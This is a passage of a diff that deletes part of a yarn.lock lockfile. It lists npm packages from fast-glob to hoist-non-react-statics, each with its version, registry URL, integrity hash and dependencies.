"^4.0.4" - -fast-glob@^3.2.9: - version "3.2.11" - resolved "https://registry.yarnpkg.com/fast-glob/-/fast-glob-3.2.11.tgz#a1172ad95ceb8a16e20caa5c5e56480e5129c1d9" - integrity sha512-xrO3+1bxSo3ZVHAnqzyuewYT6aMFHRAd4Kcs92MAonjwQZLsK9d0SF1IyQ3k5PoirxTW0Oe/RqFgMQ6TcNE5Ew== - dependencies: - "@nodelib/fs.stat" "^2.0.2" - "@nodelib/fs.walk" "^1.2.3" - glob-parent "^5.1.2" - merge2 "^1.3.0" - micromatch "^4.0.4" - -fast-json-stable-stringify@^2.0.0: - version "2.1.0" - resolved "https://registry.yarnpkg.com/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz#874bf69c6f404c2b5d99c481341399fd55892633" - integrity sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw== - -fast-url-parser@1.1.3: - version "1.1.3" - resolved "https://registry.yarnpkg.com/fast-url-parser/-/fast-url-parser-1.1.3.tgz#f4af3ea9f34d8a271cf58ad2b3759f431f0b318d" - integrity sha512-5jOCVXADYNuRkKFzNJ0dCCewsZiYo0dz8QNYljkOpFC6r2U4OBmKtvm/Tsuh4w1YYdDqDb31a8TVhBJ2OJKdqQ== - dependencies: - punycode "^1.3.2" - -fastq@^1.6.0: - version "1.13.0" - resolved "https://registry.yarnpkg.com/fastq/-/fastq-1.13.0.tgz#616760f88a7526bdfc596b7cab8c18938c36b98c" - integrity sha512-YpkpUnK8od0o1hmeSc7UUs/eB/vIPWJYjKck2QKIzAf71Vm1AAQ3EbuZB3g2JIy+pg+ERD0vqI79KyZiB2e2Nw== - dependencies: - reusify "^1.0.4" - -faye-websocket@^0.11.3: - version "0.11.4" - resolved "https://registry.yarnpkg.com/faye-websocket/-/faye-websocket-0.11.4.tgz#7f0d9275cfdd86a1c963dc8b65fcc451edcbb1da" - integrity sha512-CzbClwlXAuiRQAlUyfqPgvPoNKTckTPGfwZV4ZdAhVcP2lh9KUxJg2b5GkE7XbjKQ3YJnQ9z6D9ntLAlB+tP8g== - dependencies: - websocket-driver ">=0.5.1" - -fbemitter@^3.0.0: - version "3.0.0" - resolved "https://registry.yarnpkg.com/fbemitter/-/fbemitter-3.0.0.tgz#00b2a1af5411254aab416cd75f9e6289bee4bff3" - integrity sha512-KWKaceCwKQU0+HPoop6gn4eOHk50bBv/VxjJtGMfwmJt3D29JpN4H4eisCtIPA+a8GVBam+ldMMpMjJUvpDyHw== - dependencies: - fbjs "^3.0.0" - -fbjs-css-vars@^1.0.0: - version "1.0.2" - resolved "https://registry.yarnpkg.com/fbjs-css-vars/-/fbjs-css-vars-1.0.2.tgz#216551136ae02fe255932c3ec8775f18e2c078b8" - integrity sha512-b2XGFAFdWZWg0phtAWLHCk836A1Xann+I+Dgd3Gk64MHKZO44FfoD1KxyvbSh0qZsIoXQGGlVztIY+oitJPpRQ== - -fbjs@^3.0.0, fbjs@^3.0.1: - version "3.0.4" - resolved "https://registry.yarnpkg.com/fbjs/-/fbjs-3.0.4.tgz#e1871c6bd3083bac71ff2da868ad5067d37716c6" - integrity sha512-ucV0tDODnGV3JCnnkmoszb5lf4bNpzjv80K41wd4k798Etq+UYD0y0TIfalLjZoKgjive6/adkRnszwapiDgBQ== - dependencies: - cross-fetch "^3.1.5" - fbjs-css-vars "^1.0.0" - loose-envify "^1.0.0" - object-assign "^4.1.0" - promise "^7.1.1" - setimmediate "^1.0.5" - ua-parser-js "^0.7.30" - -feed@^4.2.2: - version "4.2.2" - resolved "https://registry.yarnpkg.com/feed/-/feed-4.2.2.tgz#865783ef6ed12579e2c44bbef3c9113bc4956a7e" - integrity sha512-u5/sxGfiMfZNtJ3OvQpXcvotFpYkL0n9u9mM2vkui2nGo8b4wvDkJ8gAkYqbA8QpGyFCv3RK0Z+Iv+9veCS9bQ== - dependencies: - xml-js "^1.6.11" - -file-loader@^6.2.0: - version "6.2.0" - resolved "https://registry.yarnpkg.com/file-loader/-/file-loader-6.2.0.tgz#baef7cf8e1840df325e4390b4484879480eebe4d" - integrity sha512-qo3glqyTa61Ytg4u73GultjHGjdRyig3tG6lPtyX/jOEJvHif9uB0/OCI2Kif6ctF3caQTW2G5gym21oAsI4pw== - dependencies: - loader-utils "^2.0.0" - schema-utils "^3.0.0" - -filesize@^8.0.6: - version "8.0.7" - resolved "https://registry.yarnpkg.com/filesize/-/filesize-8.0.7.tgz#695e70d80f4e47012c132d57a059e80c6b580bd8" - integrity sha512-pjmC+bkIF8XI7fWaH8KxHcZL3DPybs1roSKP4rKDvy20tAWwIObE4+JIseG2byfGKhud5ZnM4YSGKBz7Sh0ndQ== - -fill-range@^7.1.1: - version "7.1.1" - resolved "https://registry.yarnpkg.com/fill-range/-/fill-range-7.1.1.tgz#44265d3cac07e3ea7dc247516380643754a05292" - integrity sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg== - dependencies: - to-regex-range "^5.0.1" - -finalhandler@1.2.0: - version "1.2.0" - resolved "https://registry.yarnpkg.com/finalhandler/-/finalhandler-1.2.0.tgz#7d23fe5731b207b4640e4fcd00aec1f9207a7b32" - integrity sha512-5uXcUVftlQMFnWC9qu/svkWv3GTd2PfUhK/3PLkYNAe7FbqJMt3515HaxE6eRL74GdsriiwujiawdaB1BpEISg== - dependencies: - debug "2.6.9" - encodeurl "~1.0.2" - escape-html "~1.0.3" - on-finished "2.4.1" - parseurl "~1.3.3" - statuses "2.0.1" - unpipe "~1.0.0" - -find-cache-dir@^3.3.1: - version "3.3.2" - resolved "https://registry.yarnpkg.com/find-cache-dir/-/find-cache-dir-3.3.2.tgz#b30c5b6eff0730731aea9bbd9dbecbd80256d64b" - integrity sha512-wXZV5emFEjrridIgED11OoUKLxiYjAcqot/NJdAkOhlJ+vGzwhOAfcG5OX1jP+S0PcjEn8bdMJv+g2jwQ3Onig== - dependencies: - commondir "^1.0.1" - make-dir "^3.0.2" - pkg-dir "^4.1.0" - -find-up@^3.0.0: - version "3.0.0" - resolved "https://registry.yarnpkg.com/find-up/-/find-up-3.0.0.tgz#49169f1d7993430646da61ecc5ae355c21c97b73" - integrity sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg== - dependencies: - locate-path "^3.0.0" - -find-up@^4.0.0: - version "4.1.0" - resolved "https://registry.yarnpkg.com/find-up/-/find-up-4.1.0.tgz#97afe7d6cdc0bc5928584b7c8d7b16e8a9aa5d19" - integrity sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw== - dependencies: - locate-path "^5.0.0" - path-exists "^4.0.0" - -find-up@^5.0.0: - version "5.0.0" - resolved "https://registry.yarnpkg.com/find-up/-/find-up-5.0.0.tgz#4c92819ecb7083561e4f4a240a86be5198f536fc" - integrity sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng== - dependencies: - locate-path "^6.0.0" - path-exists "^4.0.0" - -flux@^4.0.1: - version "4.0.3" - resolved "https://registry.yarnpkg.com/flux/-/flux-4.0.3.tgz#573b504a24982c4768fdfb59d8d2ea5637d72ee7" - integrity sha512-yKAbrp7JhZhj6uiT1FTuVMlIAT1J4jqEyBpFApi1kxpGZCvacMVc/t1pMQyotqHhAgvoE3bNvAykhCo2CLjnYw== - dependencies: - fbemitter "^3.0.0" - fbjs "^3.0.1" - -follow-redirects@^1.0.0, follow-redirects@^1.14.7: - version "1.15.1" - resolved "https://registry.yarnpkg.com/follow-redirects/-/follow-redirects-1.15.1.tgz#0ca6a452306c9b276e4d3127483e29575e207ad5" - integrity sha512-yLAMQs+k0b2m7cVxpS1VKJVvoz7SS9Td1zss3XRwXj+ZDH00RJgnuLx7E44wx02kQLrdM3aOOy+FpzS7+8OizA== - -fork-ts-checker-webpack-plugin@^6.5.0: - version "6.5.2" - resolved "https://registry.yarnpkg.com/fork-ts-checker-webpack-plugin/-/fork-ts-checker-webpack-plugin-6.5.2.tgz#4f67183f2f9eb8ba7df7177ce3cf3e75cdafb340" - integrity sha512-m5cUmF30xkZ7h4tWUgTAcEaKmUW7tfyUyTqNNOz7OxWJ0v1VWKTcOvH8FWHUwSjlW/356Ijc9vi3XfcPstpQKA== - dependencies: - "@babel/code-frame" "^7.8.3" - "@types/json-schema" "^7.0.5" - chalk "^4.1.0" - chokidar "^3.4.2" - cosmiconfig "^6.0.0" - deepmerge "^4.2.2" - fs-extra "^9.0.0" - glob "^7.1.6" - memfs "^3.1.2" - minimatch "^3.0.4" - schema-utils "2.7.0" - semver "^7.3.2" - tapable "^1.0.0" - -forwarded@0.2.0: - version "0.2.0" - resolved "https://registry.yarnpkg.com/forwarded/-/forwarded-0.2.0.tgz#2269936428aad4c15c7ebe9779a84bf0b2a81811" - integrity sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow== - -fraction.js@^4.2.0: - version "4.2.0" - resolved "https://registry.yarnpkg.com/fraction.js/-/fraction.js-4.2.0.tgz#448e5109a313a3527f5a3ab2119ec4cf0e0e2950" - integrity sha512-MhLuK+2gUcnZe8ZHlaaINnQLl0xRIGRfcGk2yl8xoQAfHrSsL3rYu6FCmBdkdbhc9EPlwyGHewaRsvwRMJtAlA== - -fresh@0.5.2: - version "0.5.2" - resolved "https://registry.yarnpkg.com/fresh/-/fresh-0.5.2.tgz#3d8cadd90d976569fa835ab1f8e4b23a105605a7" - integrity sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q== - -fs-extra@^10.1.0: - version "10.1.0" - resolved "https://registry.yarnpkg.com/fs-extra/-/fs-extra-10.1.0.tgz#02873cfbc4084dde127eaa5f9905eef2325d1abf" - integrity sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ== - dependencies: - graceful-fs "^4.2.0" - jsonfile "^6.0.1" - universalify "^2.0.0" - -fs-extra@^9.0.0: - version "9.1.0" - resolved "https://registry.yarnpkg.com/fs-extra/-/fs-extra-9.1.0.tgz#5954460c764a8da2094ba3554bf839e6b9a7c86d" - integrity sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ== - dependencies: - at-least-node "^1.0.0" - graceful-fs "^4.2.0" - jsonfile "^6.0.1" - universalify "^2.0.0" - -fs-monkey@^1.0.3: - version "1.0.3" - resolved "https://registry.yarnpkg.com/fs-monkey/-/fs-monkey-1.0.3.tgz#ae3ac92d53bb328efe0e9a1d9541f6ad8d48e2d3" - integrity sha512-cybjIfiiE+pTWicSCLFHSrXZ6EilF30oh91FDP9S2B051prEa7QWfrVTQm10/dDpswBDXZugPa1Ogu8Yh+HV0Q== - -fs.realpath@^1.0.0: - version "1.0.0" - resolved "https://registry.yarnpkg.com/fs.realpath/-/fs.realpath-1.0.0.tgz#1504ad2523158caa40db4a2787cb01411994ea4f" - integrity sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw== - -fsevents@~2.3.2: - version "2.3.2" - resolved "https://registry.yarnpkg.com/fsevents/-/fsevents-2.3.2.tgz#8a526f78b8fdf4623b709e0b975c52c24c02fd1a" - integrity sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA== - -function-bind@^1.1.1: - version "1.1.1" - resolved "https://registry.yarnpkg.com/function-bind/-/function-bind-1.1.1.tgz#a56899d3ea3c9bab874bb9773b7c5ede92f4895d" - integrity sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A== - -gensync@^1.0.0-beta.1, gensync@^1.0.0-beta.2: - version "1.0.0-beta.2" - resolved "https://registry.yarnpkg.com/gensync/-/gensync-1.0.0-beta.2.tgz#32a6ee76c3d7f52d46b2b1ae5d93fea8580a25e0" - integrity sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg== - -get-intrinsic@^1.0.2, get-intrinsic@^1.1.1: - version "1.1.2" - resolved "https://registry.yarnpkg.com/get-intrinsic/-/get-intrinsic-1.1.2.tgz#336975123e05ad0b7ba41f152ee4aadbea6cf598" - integrity sha512-Jfm3OyCxHh9DJyc28qGk+JmfkpO41A4XkneDSujN9MDXrm4oDKdHvndhZ2dN94+ERNfkYJWDclW6k2L/ZGHjXA== - dependencies: - function-bind "^1.1.1" - has "^1.0.3" - has-symbols "^1.0.3" - -get-own-enumerable-property-symbols@^3.0.0: - version "3.0.2" - resolved "https://registry.yarnpkg.com/get-own-enumerable-property-symbols/-/get-own-enumerable-property-symbols-3.0.2.tgz#b5fde77f22cbe35f390b4e089922c50bce6ef664" - integrity sha512-I0UBV/XOz1XkIJHEUDMZAbzCThU/H8DxmSfmdGcKPnVhu2VfFqr34jr9777IyaTYvxjedWhqVIilEDsCdP5G6g== - -get-stream@^5.1.0: - version "5.2.0" - resolved "https://registry.yarnpkg.com/get-stream/-/get-stream-5.2.0.tgz#4966a1795ee5ace65e706c4b7beb71257d6e22d3" - integrity sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA== - dependencies: - pump "^3.0.0" - -get-stream@^6.0.0: - version "6.0.1" - resolved "https://registry.yarnpkg.com/get-stream/-/get-stream-6.0.1.tgz#a262d8eef67aced57c2852ad6167526a43cbf7b7" - integrity sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg== - -github-slugger@^1.4.0: - version "1.4.0" - resolved "https://registry.yarnpkg.com/github-slugger/-/github-slugger-1.4.0.tgz#206eb96cdb22ee56fdc53a28d5a302338463444e" - integrity sha512-w0dzqw/nt51xMVmlaV1+JRzN+oCa1KfcgGEWhxUG16wbdA+Xnt/yoFO8Z8x/V82ZcZ0wy6ln9QDup5avbhiDhQ== - -glob-parent@^5.1.2, glob-parent@~5.1.2: - version "5.1.2" - resolved "https://registry.yarnpkg.com/glob-parent/-/glob-parent-5.1.2.tgz#869832c58034fe68a4093c17dc15e8340d8401c4" - integrity sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow== - dependencies: - is-glob "^4.0.1" - -glob-parent@^6.0.1: - version "6.0.2" - resolved "https://registry.yarnpkg.com/glob-parent/-/glob-parent-6.0.2.tgz#6d237d99083950c79290f24c7642a3de9a28f9e3" - integrity sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A== - dependencies: - is-glob "^4.0.3" - -glob-to-regexp@^0.4.1: - version "0.4.1" - resolved "https://registry.yarnpkg.com/glob-to-regexp/-/glob-to-regexp-0.4.1.tgz#c75297087c851b9a578bd217dd59a92f59fe546e" - integrity sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw== - -glob@^7.0.0, glob@^7.1.3, glob@^7.1.6: - version "7.2.3" - resolved "https://registry.yarnpkg.com/glob/-/glob-7.2.3.tgz#b8df0fb802bbfa8e89bd1d938b4e16578ed44f2b" - integrity sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q== - dependencies: - fs.realpath "^1.0.0" - inflight "^1.0.4" - inherits "2" - minimatch "^3.1.1" - once "^1.3.0" - path-is-absolute "^1.0.0" - -global-dirs@^3.0.0: - version "3.0.0" - resolved "https://registry.yarnpkg.com/global-dirs/-/global-dirs-3.0.0.tgz#70a76fe84ea315ab37b1f5576cbde7d48ef72686" - integrity sha512-v8ho2DS5RiCjftj1nD9NmnfaOzTdud7RRnVd9kFNOjqZbISlx5DQ+OrTkywgd0dIt7oFCvKetZSHoHcP3sDdiA== - dependencies: - ini "2.0.0" - -global-modules@^2.0.0: - version "2.0.0" - resolved "https://registry.yarnpkg.com/global-modules/-/global-modules-2.0.0.tgz#997605ad2345f27f51539bea26574421215c7780" - integrity sha512-NGbfmJBp9x8IxyJSd1P+otYK8vonoJactOogrVfFRIAEY1ukil8RSKDz2Yo7wh1oihl51l/r6W4epkeKJHqL8A== - dependencies: - global-prefix "^3.0.0" - -global-prefix@^3.0.0: - version "3.0.0" - resolved "https://registry.yarnpkg.com/global-prefix/-/global-prefix-3.0.0.tgz#fc85f73064df69f50421f47f883fe5b913ba9b97" - integrity sha512-awConJSVCHVGND6x3tmMaKcQvwXLhjdkmomy2W+Goaui8YPgYgXJZewhg3fWC+DlfqqQuWg8AwqjGTD2nAPVWg== - dependencies: - ini "^1.3.5" - kind-of "^6.0.2" - which "^1.3.1" - -globals@^11.1.0: - version "11.12.0" - resolved "https://registry.yarnpkg.com/globals/-/globals-11.12.0.tgz#ab8795338868a0babd8525758018c2a7eb95c42e" - integrity sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA== - -globby@^11.0.1, globby@^11.0.4, globby@^11.1.0: - version "11.1.0" - resolved "https://registry.yarnpkg.com/globby/-/globby-11.1.0.tgz#bd4be98bb042f83d796f7e3811991fbe82a0d34b" - integrity sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g== - dependencies: - array-union "^2.1.0" - dir-glob "^3.0.1" - fast-glob "^3.2.9" - ignore "^5.2.0" - merge2 "^1.4.1" - slash "^3.0.0" - -globby@^13.1.1: - version "13.1.2" - resolved "https://registry.yarnpkg.com/globby/-/globby-13.1.2.tgz#29047105582427ab6eca4f905200667b056da515" - integrity sha512-LKSDZXToac40u8Q1PQtZihbNdTYSNMuWe+K5l+oa6KgDzSvVrHXlJy40hUP522RjAIoNLJYBJi7ow+rbFpIhHQ== - dependencies: - dir-glob "^3.0.1" - fast-glob "^3.2.11" - ignore "^5.2.0" - merge2 "^1.4.1" - slash "^4.0.0" - -got@^11.8.5, got@^9.6.0: - version "11.8.5" - resolved "https://registry.yarnpkg.com/got/-/got-11.8.5.tgz#ce77d045136de56e8f024bebb82ea349bc730046" - integrity sha512-o0Je4NvQObAuZPHLFoRSkdG2lTgtcynqymzg2Vupdx6PorhaT5MCbIyXG6d4D94kk8ZG57QeosgdiqfJWhEhlQ== - dependencies: - "@sindresorhus/is" "^4.0.0" - "@szmarczak/http-timer" "^4.0.5" - "@types/cacheable-request" "^6.0.1" - "@types/responselike" "^1.0.0" - cacheable-lookup "^5.0.3" - cacheable-request "^7.0.2" - decompress-response "^6.0.0" - http2-wrapper "^1.0.0-beta.5.2" - lowercase-keys "^2.0.0" - p-cancelable "^2.0.0" - responselike "^2.0.0" - -graceful-fs@^4.1.2, graceful-fs@^4.1.6, graceful-fs@^4.2.0, graceful-fs@^4.2.4, graceful-fs@^4.2.6, graceful-fs@^4.2.9: - version "4.2.10" - resolved "https://registry.yarnpkg.com/graceful-fs/-/graceful-fs-4.2.10.tgz#147d3a006da4ca3ce14728c7aefc287c367d7a6c" - integrity sha512-9ByhssR2fPVsNZj478qUUbKfmL0+t5BDVyjShtyZZLiK7ZDAArFFfopyOTj0M05wE2tJPisA4iTnnXl2YoPvOA== - -gray-matter@^4.0.3: - version "4.0.3" - resolved "https://registry.yarnpkg.com/gray-matter/-/gray-matter-4.0.3.tgz#e893c064825de73ea1f5f7d88c7a9f7274288798" - integrity sha512-5v6yZd4JK3eMI3FqqCouswVqwugaA9r4dNZB1wwcmrD02QkV5H0y7XBQW8QwQqEaZY1pM9aqORSORhJRdNK44Q== - dependencies: - js-yaml "^3.13.1" - kind-of "^6.0.2" - section-matter "^1.0.0" - strip-bom-string "^1.0.0" - -gzip-size@^6.0.0: - version "6.0.0" - resolved "https://registry.yarnpkg.com/gzip-size/-/gzip-size-6.0.0.tgz#065367fd50c239c0671cbcbad5be3e2eeb10e462" - integrity sha512-ax7ZYomf6jqPTQ4+XCpUGyXKHk5WweS+e05MBO4/y3WJ5RkmPXNKvX+bx1behVILVwr6JSQvZAku021CHPXG3Q== - dependencies: - duplexer "^0.1.2" - -handle-thing@^2.0.0: - version "2.0.1" - resolved "https://registry.yarnpkg.com/handle-thing/-/handle-thing-2.0.1.tgz#857f79ce359580c340d43081cc648970d0bb234e" - integrity sha512-9Qn4yBxelxoh2Ow62nP+Ka/kMnOXRi8BXnRaUwezLNhqelnN49xKz4F/dPP8OYLxLxq6JDtZb2i9XznUQbNPTg== - -has-flag@^3.0.0: - version "3.0.0" - resolved "https://registry.yarnpkg.com/has-flag/-/has-flag-3.0.0.tgz#b5d454dc2199ae225699f3467e5a07f3b955bafd" - integrity sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw== - -has-flag@^4.0.0: - version "4.0.0" - resolved "https://registry.yarnpkg.com/has-flag/-/has-flag-4.0.0.tgz#944771fd9c81c81265c4d6941860da06bb59479b" - integrity sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ== - -has-property-descriptors@^1.0.0: - version "1.0.0" - resolved "https://registry.yarnpkg.com/has-property-descriptors/-/has-property-descriptors-1.0.0.tgz#610708600606d36961ed04c196193b6a607fa861" - integrity sha512-62DVLZGoiEBDHQyqG4w9xCuZ7eJEwNmJRWw2VY84Oedb7WFcA27fiEVe8oUQx9hAUJ4ekurquucTGwsyO1XGdQ== - dependencies: - get-intrinsic "^1.1.1" - -has-symbols@^1.0.1, has-symbols@^1.0.3: - version "1.0.3" - resolved "https://registry.yarnpkg.com/has-symbols/-/has-symbols-1.0.3.tgz#bb7b2c4349251dce87b125f7bdf874aa7c8b39f8" - integrity sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A== - -has-yarn@^2.1.0: - version "2.1.0" - resolved "https://registry.yarnpkg.com/has-yarn/-/has-yarn-2.1.0.tgz#137e11354a7b5bf11aa5cb649cf0c6f3ff2b2e77" - integrity sha512-UqBRqi4ju7T+TqGNdqAO0PaSVGsDGJUBQvk9eUWNGRY1CFGDzYhLWoM7JQEemnlvVcv/YEmc2wNW8BC24EnUsw== - -has@^1.0.3: - version "1.0.3" - resolved "https://registry.yarnpkg.com/has/-/has-1.0.3.tgz#722d7cbfc1f6aa8241f16dd814e011e1f41e8796" - integrity sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw== - dependencies: - function-bind "^1.1.1" - -hast-to-hyperscript@^9.0.0: - version "9.0.1" - resolved "https://registry.yarnpkg.com/hast-to-hyperscript/-/hast-to-hyperscript-9.0.1.tgz#9b67fd188e4c81e8ad66f803855334173920218d" - integrity sha512-zQgLKqF+O2F72S1aa4y2ivxzSlko3MAvxkwG8ehGmNiqd98BIN3JM1rAJPmplEyLmGLO2QZYJtIneOSZ2YbJuA== - dependencies: - "@types/unist" "^2.0.3" - comma-separated-tokens "^1.0.0" - property-information "^5.3.0" - space-separated-tokens "^1.0.0" - style-to-object "^0.3.0" - unist-util-is "^4.0.0" - web-namespaces "^1.0.0" - -hast-util-from-parse5@^6.0.0: - version "6.0.1" - resolved "https://registry.yarnpkg.com/hast-util-from-parse5/-/hast-util-from-parse5-6.0.1.tgz#554e34abdeea25ac76f5bd950a1f0180e0b3bc2a" - integrity sha512-jeJUWiN5pSxW12Rh01smtVkZgZr33wBokLzKLwinYOUfSzm1Nl/c3GUGebDyOKjdsRgMvoVbV0VpAcpjF4NrJA== - dependencies: - "@types/parse5" "^5.0.0" - hastscript "^6.0.0" - property-information "^5.0.0" - vfile "^4.0.0" - vfile-location "^3.2.0" - web-namespaces "^1.0.0" - -hast-util-is-element@1.1.0, hast-util-is-element@^1.0.0: - version "1.1.0" - resolved "https://registry.yarnpkg.com/hast-util-is-element/-/hast-util-is-element-1.1.0.tgz#3b3ed5159a2707c6137b48637fbfe068e175a425" - integrity sha512-oUmNua0bFbdrD/ELDSSEadRVtWZOf3iF6Lbv81naqsIV99RnSCieTbWuWCY8BAeEfKJTKl0gRdokv+dELutHGQ== - -hast-util-parse-selector@^2.0.0: - version "2.2.5" - resolved "https://registry.yarnpkg.com/hast-util-parse-selector/-/hast-util-parse-selector-2.2.5.tgz#d57c23f4da16ae3c63b3b6ca4616683313499c3a" - integrity sha512-7j6mrk/qqkSehsM92wQjdIgWM2/BW61u/53G6xmC8i1OmEdKLHbk419QKQUjz6LglWsfqoiHmyMRkP1BGjecNQ== - -hast-util-raw@6.0.1: - version "6.0.1" - resolved "https://registry.yarnpkg.com/hast-util-raw/-/hast-util-raw-6.0.1.tgz#973b15930b7529a7b66984c98148b46526885977" - integrity sha512-ZMuiYA+UF7BXBtsTBNcLBF5HzXzkyE6MLzJnL605LKE8GJylNjGc4jjxazAHUtcwT5/CEt6afRKViYB4X66dig== - dependencies: - "@types/hast" "^2.0.0" - hast-util-from-parse5 "^6.0.0" - hast-util-to-parse5 "^6.0.0" - html-void-elements "^1.0.0" - parse5 "^6.0.0" - unist-util-position "^3.0.0" - vfile "^4.0.0" - web-namespaces "^1.0.0" - xtend "^4.0.0" - zwitch "^1.0.0" - -hast-util-to-parse5@^6.0.0: - version "6.0.0" - resolved "https://registry.yarnpkg.com/hast-util-to-parse5/-/hast-util-to-parse5-6.0.0.tgz#1ec44650b631d72952066cea9b1445df699f8479" - integrity sha512-Lu5m6Lgm/fWuz8eWnrKezHtVY83JeRGaNQ2kn9aJgqaxvVkFCZQBEhgodZUDUvoodgyROHDb3r5IxAEdl6suJQ== - dependencies: - hast-to-hyperscript "^9.0.0" - property-information "^5.0.0" - web-namespaces "^1.0.0" - xtend "^4.0.0" - zwitch "^1.0.0" - -hast-util-to-text@^2.0.0: - version "2.0.1" - resolved "https://registry.yarnpkg.com/hast-util-to-text/-/hast-util-to-text-2.0.1.tgz#04f2e065642a0edb08341976084aa217624a0f8b" - integrity sha512-8nsgCARfs6VkwH2jJU9b8LNTuR4700na+0h3PqCaEk4MAnMDeu5P0tP8mjk9LLNGxIeQRLbiDbZVw6rku+pYsQ== - dependencies: - hast-util-is-element "^1.0.0" - repeat-string "^1.0.0" - unist-util-find-after "^3.0.0" - -hastscript@^6.0.0: - version "6.0.0" - resolved "https://registry.yarnpkg.com/hastscript/-/hastscript-6.0.0.tgz#e8768d7eac56c3fdeac8a92830d58e811e5bf640" - integrity sha512-nDM6bvd7lIqDUiYEiu5Sl/+6ReP0BMk/2f4U/Rooccxkj0P5nm+acM5PrGJ/t5I8qPGiqZSE6hVAwZEdZIvP4w== - dependencies: - "@types/hast" "^2.0.0" - comma-separated-tokens "^1.0.0" - hast-util-parse-selector "^2.0.0" - property-information "^5.0.0" - space-separated-tokens "^1.0.0" - -he@^1.2.0: - version "1.2.0" - resolved "https://registry.yarnpkg.com/he/-/he-1.2.0.tgz#84ae65fa7eafb165fddb61566ae14baf05664f0f" - integrity sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw== - -history@^4.9.0: - version "4.10.1" - resolved "https://registry.yarnpkg.com/history/-/history-4.10.1.tgz#33371a65e3a83b267434e2b3f3b1b4c58aad4cf3" - integrity sha512-36nwAD620w12kuzPAsyINPWJqlNbij+hpK1k9XRloDtym8mxzGYl2c17LnV6IAGB2Dmg4tEa7G7DlawS0+qjew== - dependencies: - "@babel/runtime" "^7.1.2" - loose-envify "^1.2.0" - resolve-pathname "^3.0.0" - tiny-invariant "^1.0.2" - tiny-warning "^1.0.0" - value-equal "^1.0.1" - -hoist-non-react-statics@^3.1.0: - version "3.3.2" - resolved "https://registry.yarnpkg.com/hoist-non-react-statics/-/hoist-non-react-statics-3.3.2.tgz#ece0acaf71d62c2969c2ec59feff42a4b1a85b45" - integrity sha512-/gGivxi8JPKWNm/W0jSmzcMPpfpPLc3dY/6GxhX2hQ9iGj3aDfklV4ET7NjKpSinLpJ5vafa9iiGIEZg10SfBw== - dependencies: - react-is 